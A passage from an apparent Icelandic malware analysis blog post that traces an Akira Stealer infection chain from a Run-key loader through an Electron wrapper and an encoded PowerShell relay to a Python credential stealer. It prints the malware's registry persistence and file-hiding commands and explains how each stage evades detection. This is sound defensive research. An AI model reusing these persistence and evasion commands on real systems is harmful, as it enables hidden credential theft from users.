augu, ekki vegna þess sem það gerði, heldur vegna þess hversu hljóðlega það kom sér fyrir í keyrsluflæði kerfisins.",[532,929,930],{},"Þetta binary var skráð til sjálfvirkrar keyrslu í gegnum staðlaða Run-lykilinn í Windows:",[587,932,935],{"className":933,"code":934,"language":592},[590],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[550,936,934],{"__ignoreMap":593},[532,938,939],{},"Það þýddi að það ræstist í hvert sinn sem notandinn skráði sig inn í setuna sína, klassískur persistence-búnaður sem krefst engra upphafinna réttinda og sleppur oft óséður í gegn í EDR-telemetríu.",[603,941,942,948,954,960,966],{},[606,943,944,947],{},[539,945,946],{},"Skráartegund",": keyranleg Windows PE-skrá (32-bita)",[606,949,950,953],{},[539,951,952],{},"Undirritun",": engin",[606,955,956,959],{},[539,957,958],{},"VirusTotal-detection",": 1 af 69 engines þegar triage fór fram",[606,961,962,965],{},[539,963,964],{},"Keyrslusamhengi",": medium integrity, notandaseta",[606,967,968,971,972],{},[539,969,970],{},"Staðsetning",": ",[550,973,974],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[532,976,977],{},"Skráin sjálf var lítil, hreinlega þýdd og eftirtektarlaus frá sjónarhóli statískrar greiningar. Engir grunsamlegir strengir, engir dulkóðaðir hlutar og engin merki um obfuskun eða packing. Hún flutti inn aðeins lágmarkssafn af stöðluðum Windows API-föllum og innihélt engan innbyggðan payload.",[532,979,980,981,983,984,986],{},"Hegðun þess sagði þó meira. Eftir ræsingu dró ",[550,982,573],{}," út Electron-forrit úr meðfylgjandi safnskrá, sjálfstætt NodeJS-runtime pakkað með stöðluðum Electron-verkfærum. Í þessari útpökkuðu möppu var keyranleg skrá sem hét ",[550,985,577],{},", sem var í kjölfarið ræst sem barnferli.",[587,988,991],{"className":989,"code":990,"language":592,"meta":593},[590],"Updater.exe → main.exe\n",[550,992,990],{"__ignoreMap":593},[532,994,995,996,998,999,1001],{},"Á þessu stigi voru engir netindikatorar, engin process injection og ekkert frávik í réttindum eða upphafningu tokens. Allt hlutverk ",[550,997,573],{}," virtist vera hlutverk loaders, að koma hluta á öðru þrepi (",[550,1000,577],{},") inn í umhverfið, líklega með það markmið að halda keðjunni ósýnilegri og einingaskiptri.",[532,1003,1004],{},"Þessi arkitektúrlega aðgreining er algeng í nútíma fjöldaframleiddu malware og stealer-verkfærasettum. Upphaflegi loaderinn virkar aðeins sem dreifingarstubbur og leyfir þyngri rökvísinni, oft obfuskeraðri, túlkaðri eða dýnamískt myndaðri, að liggja í síðari þrepum.",[532,1006,1007,1008,1010,1011,1013,1014,585],{},"Í þessu tilviki þjónaði ",[550,1009,573],{}," nákvæmlega þeim tilgangi: hljóðlátri fyrstu fótfestu hannaðri til að falla inn í umhverfið, haldast ógreind og ryðja brautina fyrir keyrslu hinnar eiginlegu stealer-rökvísi í ",[550,1012,577],{}," og að lokum ",[550,1015,581],{},[532,1017,1018],{},"Það snerti ekki skráakerfið utan sinnar eigin möppu og virkjaði engar hegðunarreglur, og samt var það fyrsti dómínókubburinn í langri og vandlega smíðaðri árásarkeðju.",[861,1020,1022,1023,1025],{"id":1021},"_213-mainexe-obfuskerað-ílát-fyrir-nodejs-payload","2.1.3 ",[550,1024,577],{}," – obfuskerað ílát fyrir NodeJS-payload",[532,1027,867],{},[532,1029,1030,1031,1033,1034,1036],{},"Í kjölfar keyrslu ",[550,1032,573],{}," var ræst binary á öðru þrepi sem hét ",[550,1035,577],{},". Þessi hluti kynnti sig sem venjulegt Electron-forrit, runtime-umhverfi sem pakkar saman Node.js og Chromium og er oft notað fyrir skjáborðsforrit á mörgum stýrikerfum. Sakleysislegt eðli þess er hluti af því sem gerir það svo hættulegt í röngum höndum.",[532,1038,1039,1040,1042,1043,1046],{},"Við skoðun kom í ljós að ",[550,1041,577],{}," innihélt innri safnskrá sem hét ",[550,1044,1045],{},"app.asar",", staðlaða pökkunarsniðið fyrir Electron-byggð forrit. Ólíkt lögmætum Electron-forritum var innihald þessarar safnskrár þó allt annað en venjulegt.",[603,1048,1049,1055,1061,1069],{},[606,1050,1051,1054],{},[539,1052,1053],{},"Pallur",": Electron (Node.js + Chromium)",[606,1056,1057,1060],{},[539,1058,1059],{},"Arkitektúr",": 64-bita Windows",[606,1062,1063,1066,1067],{},[539,1064,1065],{},"Uppbygging innihalds",": innbyggðar JavaScript-skrár í ",[550,1068,1045],{},[606,1070,1071,1074,1075,1078],{},[539,1072,1073],{},"Stig obfuskunar",": hátt, náð með ",[550,1076,1077],{},"js-confuser",", obfuskunarverkfærasetti fyrir JavaScript sem selt er á almennum markaði",[532,1080,1081,1082,1084],{},"Eftir decompilering og afobfuskun varð kjarnarökvísi ",[550,1083,577],{}," augljós. Tilgangur þess var ekki að birta GUI eða keyra neina framendarökvísi, heldur virkaði það sem falinn stjórnandi keyrslunnar.",[532,1086,1087],{},[539,1088,1089],{},"Hegðun sem sást:",[603,1091,1092,1095,1102],{},[606,1093,1094],{},"Afkóðar og endurgerir Base64-kóðaða PowerShell-skipun sem geymd er inni í JavaScript-payloadinum",[606,1096,1097,1098,1101],{},"Ræsir ",[550,1099,1100],{},"cmd.exe"," til að keyra PowerShell-skipunina inline",[606,1103,1104,1105,1107,1108,1111],{},"PowerShell-skipunin kallar svo á ",[550,1106,552],{}," og sendir með script sem liggur undir að því er virðist meinlausri möppuuppbyggingu (",[550,1109,1110],{},"Crypto\\Util\\astor.py",")",[587,1113,1116],{"className":1114,"code":1115,"language":592,"meta":593},[590],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[550,1117,1115],{"__ignoreMap":593},[532,1119,1120],{},"Þessi hlekkjun gerði árásaraðilanum kleift að færa sig milli keyrslusamhengja og komast hjá einfaldri detection. Þar sem payloadinn var obfuskeraður og staged í minni komu hefðbundnar signature-byggðar varnir að engu gagni.",[532,1122,1123],{},"Electron-frameworkið veitti kjörna yfirhylmingu og leyfði keyrslu á handahófskenndu JavaScript án þess að vekja athygli. JavaScript-byggð keyrsla gaf einnig samhæfni milli stýrikerfa, sem leyfði sveigjanlega dreifingu og einfaldari samþættingu á dýnamískri stýrirökvísi.",[532,1125,1126,1127,1129],{},"Það sem gerði ",[550,1128,577],{}," sérstaklega hættulegt var geta þess til að starfa án þess að skrifa niður nokkrar viðbótarskrár umfram það sem þegar hafði verið staged. Stealer-scriptið var kallað beint af diski, en öll staging- og keyrslurökvísi var áfram innbyggð í Electron-búntinum.",[532,1131,1132,1133,1135,1136,585],{},"Í stuttu máli þjónaði ",[550,1134,577],{}," sem obfuskeraður keyrslukjarni í mörgum lögum og virkaði sem hliðvörður milli upphaflegs persistence og fullrar virkjunar Akira Stealer-payloadsins í ",[550,1137,581],{},[861,1139,1141,1142,1144],{"id":1140},"_214-cmdexe-og-powershell-relay","2.1.4 ",[550,1143,1100],{}," og PowerShell-relay",[532,1146,867],{},[532,1148,1149],{},"Þetta þrep keyrslukeðjunnar virkaði sem relay, ekki fyrir payload-rökvísi heldur fyrir obfuskun og óbeina leið.",[532,1151,1152,1153,1155,1156,1158,1159,585],{},"Eftir að ",[550,1154,577],{}," hafði lokið sínu hlutverki við að pakka út og afkóða payloadinn ræsti það ",[550,1157,1100],{},"-ferli. Þetta ferli innihélt sjálft enga illgjarna rökvísi og hvorki skrifaði né breytti skrám. Eini tilgangur þess var að vera wrapper utan um ræsingu PowerShell-setu með ",[539,1160,1161],{},"kóðaðri skipun",[532,1163,1164],{},"Þessi aðferð er vel þekkt taktík til að draga úr sýnileika og komast hjá detection:",[603,1166,1167,1179],{},[606,1168,1169,1172,1173],{},[539,1170,1171],{},"Keyrslukeðja",":",[587,1174,1177],{"className":1175,"code":1176,"language":592},[590],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[550,1178,1176],{"__ignoreMap":593},[606,1180,1181,1172,1184],{},[539,1182,1183],{},"Tilgangur",[603,1185,1186,1189,1192],{},[606,1187,1188],{},"Pakkar PowerShell-keyrslunni inn í aukalegt shell",[606,1190,1191],{},"Felur hinn eiginlega PowerShell-kóða fyrir beinum sýnileika í loggum",[606,1193,1194,1195,1198],{},"Kemst hjá EDR-kerfum sem bregðast við beinni notkun ",[550,1196,1197],{},"powershell.exe"," með grunsamlegum breytum",[532,1200,1201,1202,1204],{},"Með því að setja PowerShell-scriptið inn sem Base64-kóðaðan streng og kalla á það í gegnum ",[550,1203,1100],{}," komst árásaraðilinn hjá mörgum tegundum detection:",[603,1206,1207,1212,1217],{},[606,1208,1209],{},[539,1210,1211],{},"Heuristískum síum á skipanalínu",[606,1213,1214],{},[539,1215,1216],{},"Staðlaðri loggun (t.d. Event ID 4104, 4688)",[606,1218,1219],{},[539,1220,1221,1222,1224,1225,619,1228,1231],{},"Reglubyggðum detections á ",[550,1223,1197],{},"-argument eins og ",[550,1226,1227],{},"-NoProfile",[550,1229,1230],{},"-ExecutionPolicy Bypass"," eða inline-scriptum",[532,1233,1234,1235,1237,1238,1240],{},"Athygli vekur að PowerShell-skipuninni var haldið í lágmarki og hún snerist eingöngu um að ræsa ",[550,1236,552],{}," með slóð á innbyggða stealer-scriptið, ",[550,1239,581],{},". Engar viðbótareiningar voru hlaðnar og engar augljósar signature voru til staðar í minni.",[532,1242,1243],{},"Þessi relay-tækni er jafnt notuð í red teaming og af fágðum infostealers, sem létt evasion-lag sem er auðvelt að útfæra en erfitt að grípa án þess að tengja saman telemetríu.",[532,1245,1007,1246,1248],{},[550,1247,1100],{}," nákvæmlega þeim tilgangi: einfaldri, hljóðlátri brú milli JavaScript-rökvísi og Python-keyrslu, brú sem slapp næstum því óséð í gegn.",[861,1250,1252,1253,1255,1256],{"id":1251},"_215-pythonexe-með-astorpy","2.1.5 ",[550,1254,552],{}," með ",[550,1257,581],{},[532,1259,867],{},[532,1261,1262,1263,1265,1266,1268],{},"Lokaþrepi keyrslukeðjunnar og því áhrifamesta var náð þegar ",[550,1264,552],{}," kallaði á ",[550,1267,581],{},", einingaskiptan infostealer skrifaðan í Python sem keyrir alfarið í minni. Þetta script var rekstrarkjarni allrar árásarkeðjunnar.",[532,1270,1271,1272,1274],{},"Ólíkt mörgum fjöldaframleiddum stealers var ",[550,1273,581],{}," ekki sett fram í plaintext. Það var varið með afkóðunarbúnaði í mörgum lögum:",[603,1276,1277,1286],{},[606,1278,1279,1282,1283,585],{},[539,1280,1281],{},"Afkóðunarstakkur",": Skráin var fyrst þjöppuð með GZIP og síðan dulkóðuð með ",[539,1284,1285],{},"AES-256-CBC",[606,1287,1288,1291],{},[539,1289,1290],{},"Lykilleiðsla",": Notað var PBKDF2-byggt ferli til að leiða lykil (SHA-512, 1.000.000 ítranir), sem gerir statíska greiningu og brute-forcing afar óhagkvæma.",[532,1293,1294],{},"Eftir afkóðun á keyrslutíma keyrði scriptið nokkrar sérhæfðar einingar sem allar beindust að viðkvæmum gagnalindum:",[532,1296,1297],{},[539,1298,1299],{},"Kjarnavirkni",[603,1301,1302,1308,1318,1328],{},[606,1303,1304,1307],{},[539,1305,1306],{},"Útdráttur browsergagna",": sótti innskráningar-credentials, cookies og sjálfvirk útfyllingargögn úr Chromium-byggðum browsers (Chrome, Edge, Brave, Opera)",[606,1309,1310,1313,1314,1317],{},[539,1311,1312],{},"Söfnun tokens",": safnaði setutokens, einkum frá ",[539,1315,1316],{},"Discord",", og leitaði að extensions fyrir kryptóveski",[606,1319,1320,1323,1324,1327],{},[539,1321,1322],{},"Pökkun gagna",": safnaði öllum söfnuðum gögnum í skipulagða ",[539,1325,1326],{},"ZIP-safnskrá"," og varðveitti möppu- og skráasamhengi fyrir úrvinnslu hjá árásaraðilanum",[606,1329,1330,1333],{},[539,1331,1332],{},"Exfiltration",": hlóð safnskránni sem varð til upp á opinber API og innviði.",[532,1335,1336],{},[539,1337,964],{},[532,1339,1340],{},"Öll stealer-rökvísin keyrði úr minni og engar varanlegar skrár voru skrifaðar á disk. Hún skildi eftir sig lágmarksspor í telemetríu umfram minnis-artifacts innan ferlisins og staðlað kall á undirferli. Engin tilraun var gerð til að koma á persistence á þessu þrepi, markmiðið var hraður, skilvirkur og hljóðlátur gagnaþjófnaður.",[532,1342,1343],{},"Notkun lögmætra API við exfiltration gerði detection og varnir einnig mun erfiðari, því útgangandi umferð féll inn í venjubundna netnotkun.",[532,1345,1346,1347,1349],{},"Þetta þrep staðfesti að lokum hvaða malware var á ferðinni: afbrigði af ",[539,1348,650],{},", sem er þekkt fyrir:",[603,1351,1352,1355,1358,1361],{},[606,1353,1354],{},"Mikla einingaskiptingu",[606,1356,1357],{},"Obfuskun á keyrslutíma",[606,1359,1360],{},"Dreifingu í viðskiptaskyni í gegnum Telegram",[606,1362,1363],{},"Sterka áherslu á söfnun credentials og yfirtöku seta með tokens",[532,1365,1366,1367,1369],{},"Ásamt fyrri þrepunum myndaði ",[550,1368,581],{}," úrslitapunkt í hljóðlátri og vel hannaðri infostealer-keðju. Í næstu köflum tökum við þennan hluta enn frekar í sundur og skýrum hvernig við snerum rökvísi hans við, kortlögðum innviði hans og endurheimtum hvern einasta indicator of compromise sem notaður var í aðgerðinni.",[527,1371,1373,1374],{"id":1372},"_3-deep-dive-updaterexe","3. Deep Dive: ",[550,1375,573],{},[532,1377,534],{},[532,1379,1380,1382],{},[550,1381,573],{}," var fyrsta binary-ið sem sást við greiningu eftir kompromíseringu. Þrátt fyrir hlutlaust yfirbragð og hverfandi detection-fótspor gegndi það lykilhlutverki í að viðhalda rekstrarlegu persistence malware-sins og koma payload næsta þreps á sinn stað.",[713,1384,1386],{"id":1385},"_31-eiginleikar","3.1 Eiginleikar",[532,1388,719],{},[1390,1391,1392,1405],"table",{},[1393,1394,1395],"thead",{},[1396,1397,1398,1402],"tr",{},[1399,1400,1401],"th",{},"Eiginleiki",[1399,1403,1404],{},"Gildi",[1406,1407,1408,1419,1429,1439,1449,1459],"tbody",{},[1396,1409,1410,1416],{},[1411,1412,1413],"td",{},[539,1414,1415],{},"Snið:",[1411,1417,1418],{},"Windows Portable Executable (PE32)",[1396,1420,1421,1426],{},[1411,1422,1423],{},[539,1424,1425],{},"Arkitektúr:",[1411,1427,1428],{},"x86-64",[1396,1430,1431,1436],{},[1411,1432,1433],{},[539,1434,1435],{},"Stærð:",[1411,1437,1438],{},"~154 KB",[1396,1440,1441,1446],{},[1411,1442,1443],{},[539,1444,1445],{},"Entrópía:",[1411,1447,1448],{},"eðlileg (ekki packað)",[1396,1450,1451,1456],{},[1411,1452,1453],{},[539,1454,1455],{},"Signature:",[1411,1457,1458],{},"engin",[1396,1460,1461,1466],{},[1411,1462,1463],{},[539,1464,1465],{},"VirusTotal-detection:",[1411,1467,1468],{},"1/69 við greiningu",[532,1470,1471],{},"Skráin hafði hreina import table og enga innbyggða strengjaindikatora. Engir þekktir packers, crypters eða obfuskunarbúnaður á keyrslutíma fundust. Uppbyggingin var í samræmi við sérþýdd binaries.",[713,1473,1475],{"id":1474},"_32-hegðunargreining","3.2 Hegðunargreining",[532,1477,719],{},[532,1479,1480],{},[539,1481,1482],{},"Engin þátttaka notanda nauðsynleg",[532,1484,1485,1486,1488],{},"Malware-keðjan keyrði án þess að þurfa nokkra þátttöku notanda. Út frá ferlatelemetríu Defender var upphaflega binary-ið (",[550,1487,573],{},") ræst sjálfkrafa, líklega í gegnum persistence-búnað eins og autorun-lykil í registry. Vegna aldurs kompromíseringarinnar og þess að eldri event logs vantaði var þó ekki unnt að endurheimta nákvæmlega hvaða aðferð var notuð.",[532,1490,1491],{},[539,1492,1493],{},"Hljóðlát keyrsla og staging",[532,1495,1496,1497,1499,1500,1502],{},"Við keyrslu ræsti ",[550,1498,573],{}," samstundis ",[550,1501,577],{}," án nokkurs glugga og án nokkurra kvaðninga til notandans. Staging fór hljóðlega fram í bakgrunni. Það voru engin merki um samþykkisglugga, UAC-kvaðningar eða GUI-hluta.",[532,1504,1505],{},[539,1506,1507],{},"Hegðun við dreifingu payloads",[532,1509,1510,1511,1513],{},"Í ljós kom að ",[550,1512,577],{}," var hluti af Electron-forritsuppbyggingu, en nákvæmur uppruni dreifingar þess er enn óskýr. Annað af eftirfarandi er talið líklegt:",[603,1515,1516,1522],{},[606,1517,1518,1519,1521],{},"Payloadinn gæti hafa verið innbyggður í ",[550,1520,573],{}," (t.d. sem innbyggt tilfang), eða",[606,1523,1524],{},"Hann gæti hafa verið sóttur frá fjartengdri heimild",[532,1526,1527],{},"Vegna þess að nettelemetría vantaði og engin harðkóðuð URL fannst er afhendingarvektorinn fyrir Electron-forritið enn óvís.",[532,1529,1530],{},[539,1531,1532],{},"Hegðun ferlakeðjunnar",[532,1534,1496,1535,1537,1538,1540],{},[550,1536,573],{}," ",[550,1539,577],{}," sem barnferli. Kallið var ógagnvirkt og ekkert ferli sem sprottið var úr keðjunni sýndi virkni í viðmóti. Ferlakeðjan hélt áfram eins og vænta mátti:",[587,1542,1545],{"className":1543,"code":1544,"language":592},[590],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[550,1546,1544],{"__ignoreMap":593},[532,1548,1549],{},"Öll keyrsluþrep unnu án þess að þurfa inntak frá notanda og reiddu sig eingöngu á fyrirfram stillta ræsirökvísi og hljóðlátar keyrsluleiðir. Það lágmarkaði sýnileika og hjálpaði malware-inu að haldast ógreint í langan tíma.",[713,1551,1553],{"id":1552},"_33-hlutverk-í-sýkingarkeðjunni","3.3 Hlutverk í sýkingarkeðjunni",[532,1555,719],{},[532,1557,1558,1560,1561,1564,1565,585],{},[550,1559,573],{}," gegndi ",[539,1562,1563],{},"einu en ómissandi hlutverki"," í hinni víðari sýkingarkeðju: það var ábyrgt fyrir persistence og endurdreifingu hlutans á þrepi 2, ",[550,1566,577],{},[532,1568,1569],{},[539,1570,1571],{},"Staðfest einkenni",[603,1573,1574,1584,1591],{},[606,1575,1576,1577,1580,1581,1583],{},"Það innihélt ",[539,1578,1579],{},"ekki"," og keyrði ",[539,1582,1579],{}," illgjarna rökvísi með beinum hætti",[606,1585,1586,1587,1590],{},"Það framkvæmdi ",[539,1588,1589],{},"enga"," exfiltration gagna",[606,1592,1593,1594,1596],{},"Það hafði ",[539,1595,1458],{}," samskipti við credential-geymslur browsers eða viðkvæm notandagögn",[532,1598,1599,1600,1602],{},"Eini tilgangur þess var að ræsa ",[550,1601,577],{}," hljóðlega við innskráningu notanda, og var autorun-færsla í registry líklegasta aðferðin við persistence (þótt hún hafi ekki verið endurheimt með beinum hætti vegna takmarkana í telemetríu).",[532,1604,1605,1606,1608,1609,1611],{},"Með því að vera einangraður loader á fyrsta þrepi tryggði ",[550,1607,573],{}," að hinn eiginlegi stealer-payload (",[550,1610,581],{},") héldist hulinn í dýpri lögum keyrslunnar. Þessi verkaskipting gerði árásaraðilunum kleift að:",[603,1613,1614,1617,1620],{},[606,1615,1616],{},"Komast hjá tengingum hjá statískum AV- eða sandbox-kerfum",[606,1618,1619],{},"Skipta út eða uppfæra payloads án þess að breyta loadernum",[606,1621,1622],{},"Draga úr hegðunarmerkjum við aðgangspunktinn",[532,1624,1625,1626,1629],{},"Þetta mynstur er dæmigert í ",[539,1627,1628],{},"malware-as-a-service (MaaS)"," aðgerðum, þar sem afhendingarbúnaðurinn er almennur og payloads einingaskipt eða sérsniðin að hverjum viðskiptavini.",[532,1631,1632,1633,1635],{},"Í þessu tilviki bauð ",[550,1634,573],{}," upp á nákvæmlega þá rökvísi sem þurfti til að vera áreiðanlegur og hljóðlátur aðgangspunktur, ekkert meira en líka ekkert minna.",[713,1637,1639],{"id":1638},"_34-persistence-í-gegnum-registry-staðfest-í-astorpy","3.4 Persistence í gegnum registry (staðfest í astor.py)",[532,1641,719],{},[532,1643,1644,1645,1647],{},"Statísk greining á Python-payloadinum sýndi að ",[550,1646,573],{}," er haldið við með beinum hætti með autorun-færslu í registry:",[603,1649,1650,1658,1666],{},[606,1651,1652,971,1655],{},[539,1653,1654],{},"Registry-slóð",[550,1656,1657],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[606,1659,1660,971,1663],{},[539,1661,1662],{},"Heiti gildis",[550,1664,1665],{},"Realtek Audio",[606,1667,1668,971,1671],{},[539,1669,1670],{},"Slóð payloads",[550,1672,1673],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[532,1675,1676],{},"Tilheyrandi registry-skipun er keyrð í gegnum PowerShell:",[587,1678,1682],{"className":1679,"code":1680,"language":1681,"meta":593,"style":593},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[550,1683,1684],{"__ignoreMap":593},[1685,1686,1689],"span",{"class":1687,"line":1688},"line",1,[1685,1690,1680],{},[532,1692,1693],{},"Þetta tryggir að malware-ið ræsist við hverja innskráningu notanda. Skráin er einnig merkt með hidden- og system-eigindum til að komast enn betur hjá detection:",[587,1695,1697],{"className":1679,"code":1696,"language":1681,"meta":593,"style":593},"attrib +h +s \"Updater.exe\"\n",[550,1698,1699],{"__ignoreMap":593},[1685,1700,1701],{"class":1687,"line":1688},[1685,1702,1696],{},[532,1704,1705],{},"Þessi persistence-búnaður var byggður beint inn í astor.py-kóðann, sem staðfestir að stealerinn á lokaþrepinu heldur loadernum virkt við á diski og í startup-registry.",[713,1707,1709],{"id":1708},"_35-samantekt","3.5 Samantekt",[532,1711,719],{},[820,1713,1714],{},[532,1715,1716,1717,1719],{},"Þótt ",[550,1718,573],{}," hafi ekki verið illgjarnt í sjálfu sér, hvorki í uppbyggingu né innihaldi, staðfesti hegðun þess í samhengi keyrslukeðjunnar hlutverk þess sem malware-loader.",[826,1721],{"className":1722},[829],[532,1724,1725],{},"Þetta binary var hreinn og lágmarksstilltur ræsir á fyrsta þrepi og komst hjá detection frá statískri greiningu, AV-engines og hegðunarreglum. Hönnun þess einbeitti sér eingöngu að því að vera ósýnileg og styðja aðgerðina, ekki að keyra illgjarna rökvísi sjálf.",[532,1727,1728,1729,1731,1732,1734,1735,1738],{},"Hlutverk þess fór þó lengra en upphafleg dreifing. Við reverse engineering á ",[550,1730,581],{},"-payloadinum greindum við rökvísi sem athugaði virkt hvort ",[550,1733,573],{}," væri til staðar. Þessi athugun var hluti af víðari ",[539,1736,1737],{},"heilsu- og sjálfslæknandi hringrás"," innbyggðri í stealer-kóðann, búnaði sem ætlað var að sannreyna heilleika sýkingarkeðjunnar og endurheimta hluta sem vantaði ef þörf væri á.",[532,1740,1741,1742,1744,1745,1748],{},"Það þýðir að ",[550,1743,573],{}," var ekki aðeins ábyrgt fyrir því að setja malware-ið af stað, heldur var það einnig hluti af ",[539,1746,1747],{},"áframhaldandi sannvottun þess á keyrslutíma",". Án þessa stubbs gæti malware-ið misst getuna til að ræsa sig upp á nýtt í seinni setum.",[532,1750,1751],{},[539,1752,1753,1754,1172],{},"Helstu hlutverk ",[550,1755,573],{},[603,1757,1758,1763,1768,1771],{},[606,1759,1760,1761],{},"Snurðulaus dreifing ",[550,1762,577],{},[606,1764,1765,1766],{},"Óbein keyrsla ",[550,1767,581],{},[606,1769,1770],{},"Aðgreining rökvísi loaders og payloads",[606,1772,1773,1776],{},[539,1774,1775],{},"Payloadinn sjálfur vísar í það"," sem hluti af vöktun á rekstrarheilsu",[532,1778,1779],{},"Í kafla 5 förum við nánar í innri heilsuathuganir stealersins, þar á meðal sjálfslæknandi hegðun hans og búnað til að sannvotta heilleika.",[532,1781,1782,1783,1785],{},"Að svo stöddu er ljóst að ",[550,1784,573],{}," var bæði kveikjan og festan í þessum lagskipta infostealer-arkitektúr.",[713,1787,1789],{"id":1788},"_36-útdráttarbrella-að-leika-á-loaderinn","3.6 Útdráttarbrella: að leika á loaderinn",[532,1791,719],{},[532,1793,1794],{},"Stundum koma bestu niðurstöðurnar í reverse engineering ekki úr djúpri afþýðingu binaries, heldur úr smávægilegri brellu og þolinmæði.",[532,1796,1797,1798,1800,1801,1803],{},"Meðan við greindum sýkinguna í stýrðu tilraunaumhverfi tókum við eftir dálítið skrítnu: ",[550,1799,573],{}," var til staðar og í keyrslu, en ",[550,1802,577],{}," var horfið úr skráakerfinu. Þá fengum við hugmynd: hvað gerist ef við látum malware-ið gera við sig sjálft?",[532,1805,1806,1807,1812,1813,1815],{},"Við ",[539,1808,1809,1810],{},"eyddum ",[550,1811,577],{}," vísvitandi úr sýkta umhverfinu en létum ",[550,1814,573],{}," óhreyft. Og viti menn, eftir næstu innskráningu notanda fór loaderinn á stað, ekki með gauragangi heldur með hljóðlátri tilraun til að byggja annað þrepið upp aftur.",[532,1817,1818,1819,1821,1822,1824,1825,1828,1829,1832,1833,619,1835,557,1838,1840],{},"Hér varð þetta áhugavert: í stað þess að endurgera ",[550,1820,577],{}," beint skrifaði ",[550,1823,573],{}," fyrst niður skrá sem hét ",[550,1826,1827],{},"app-64.7z",", venjulega ",[539,1830,1831],{},"7-Zip-safnskrá",". Þessi safnskrá innihélt alla Electron-forritsuppbygginguna, þar á meðal ",[550,1834,577],{},[550,1836,1837],{},"resources",[550,1839,1045],{},"-payloadinn með allri innbyggðri rökvísi.",[532,1842,1843,1844,585],{},"Við höfðum í reynd ",[539,1845,1846],{},"þvingað malware-ið til að afhenda okkur upprunapakkann",[532,1848,1849],{},[747,1850],{"alt":1851,"src":1852},"Grunsamleg keyranleg Updater-skrá greind","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[532,1854,1855],{},"Með þessa 7z-safnskrá í höndunum gátum við dregið út, afþjappað og snúið JavaScript-byggðu stjórnrökvísinni við að fullu án þess að þurfa að koma nærri upprunalega loadernum aftur. Uppbygging safnskrárinnar passaði nákvæmlega við það Electron-forritsskipulag sem vænta mátti.",[532,1857,1858,1859,1862],{},"Þessi hegðun bendir sterklega til þess að árásaraðilarnir hafi vísvitandi valið ",[539,1860,1861],{},"einingaskiptan arkitektúr sem einfalt er að viðhalda"," og notað safnskrár sem sveigjanleg ílát fyrir payloads. Það gerði þeim einnig kleift að skipta út eða uppfæra hluta payloadsins án þess að endurþýða loader-binary-ið.",[532,1864,1865],{},"Og í okkar tilviki gerði það okkur kleift að leika á keðju þeirra, hlera droppið og hverfa á braut með allan pakkann, eins og að stela hönnunarteikningunum af vinnubekknum á meðan smiðurinn sneri sér undan.",[532,1867,1868,1869],{},"Segjum bara sem er: ",[539,1870,1871,1872,619,1875,1878],{},"stundum eru bestu forensic-verkfærin ",[550,1873,1874],{},"del",[550,1876,1877],{},"wait"," og smá forvitni.",[527,1880,1882,1883],{"id":1881},"_4-deep-dive-powbat","4. Deep Dive: ",[550,1884,1885],{},"pow.bat",[532,1887,534],{},[532,1889,1890,1891,1894],{},"Í malware-herferðinni sem greind var virkar hlutinn ",[550,1892,1893],{},"Invoke-SharpLoader"," sem sérsmíðaður .NET-loader sem býr í minni og sýnir mjög einingaskipt og evasivt keyrsluflæði. Þessi kafli tekur í sundur innri arkitektúr hans, aðferðir hans gegn greiningu með AMSI-patchi og hlutverk hans í að greiða fyrir payloadinum á öðru þrepi.",[713,1896,1898],{"id":1897},"_41-eiginleikar-binaries-sharploader-batch-wrapper","4.1 Eiginleikar binaries – SharpLoader batch-wrapper",[532,1900,719],{},[532,1902,1903,1904,1906],{},"Áður en hann er keyrður til að hlaða .NET-payloadinum í minni sýnir ytri wrapperinn ",[550,1905,1885],{}," eftirfarandi einkenni samkvæmt statískri greiningu:",[1390,1908,1909,1917],{},[1393,1910,1911],{},[1396,1912,1913,1915],{},[1399,1914,1401],{},[1399,1916,1404],{},[1406,1918,1919,1928,1937,1947,1956,1966,1976,1985],{},[1396,1920,1921,1925],{},[1411,1922,1923],{},[539,1924,1415],{},[1411,1926,1927],{},"DOS batch-skrá",[1396,1929,1930,1934],{},[1411,1931,1932],{},[539,1933,1425],{},[1411,1935,1936],{},"scriptbyggt (ekki þýtt binary)",[1396,1938,1939,1944],{},[1411,1940,1941],{},[539,1942,1943],{},"Skráarstærð:",[1411,1945,1946],{},"27,79 KB (28454 bæti)",[1396,1948,1949,1953],{},[1411,1950,1951],{},[539,1952,1445],{},[1411,1954,1955],{},"eðlileg (einfaldur ASCII-texti)",[1396,1957,1958,1963],{},[1411,1959,1960],{},[539,1961,1962],{},"Magic:",[1411,1964,1965],{},"DOS batch file, ASCII text",[1396,1967,1968,1973],{},[1411,1969,1970],{},[539,1971,1972],{},"Rafræn undirritun:",[1411,1974,1975],{},"engin greind",[1396,1977,1978,1982],{},[1411,1979,1980],{},[539,1981,1465],{},[1411,1983,1984],{},"26 / 61 (við greiningu)",[1396,1986,1987,1992],{},[1411,1988,1989],{},[539,1990,1991],{},"Ógnarmerkingar:",[1411,1993,1994,619,1997,619,2000,619,2002],{},[550,1995,1996],{},"trojan",[550,1998,1999],{},"downloader",[550,2001,1681],{},[550,2003,2004],{},"agentb",[532,2006,2007,2008,2011],{},"Þótt þetta sé einföld ",[550,2009,2010],{},".bat","-skrá kemst scriptið hjá mörgum statískum detections og reiðir sig mjög á living-off-the-land aðferðir eins og PowerShell til að sækja og keyra obfuskeraða og dulkóðaða payloads.",[713,2013,2015,2016,1111],{"id":2014},"_42-aðferð-til-að-komast-hjá-amsi-klasi-gofor4msi","4.2 Aðferð til að komast hjá AMSI (klasi: ",[550,2017,2018],{},"gofor4msi",[532,2020,719],{},[532,2022,2023],{},"Einn fyrsti varnarbúnaðurinn sem SharpLoader kemst hjá er AMSI, Anti-Malware Scan Interface, eiginleiki Microsoft sem samþættur er í scriptvélar eins og PowerShell og Windows Script Host til að skanna innihald í rauntíma með tilliti til grunsamlegrar hegðunar. Höfundar malware reyna oft að 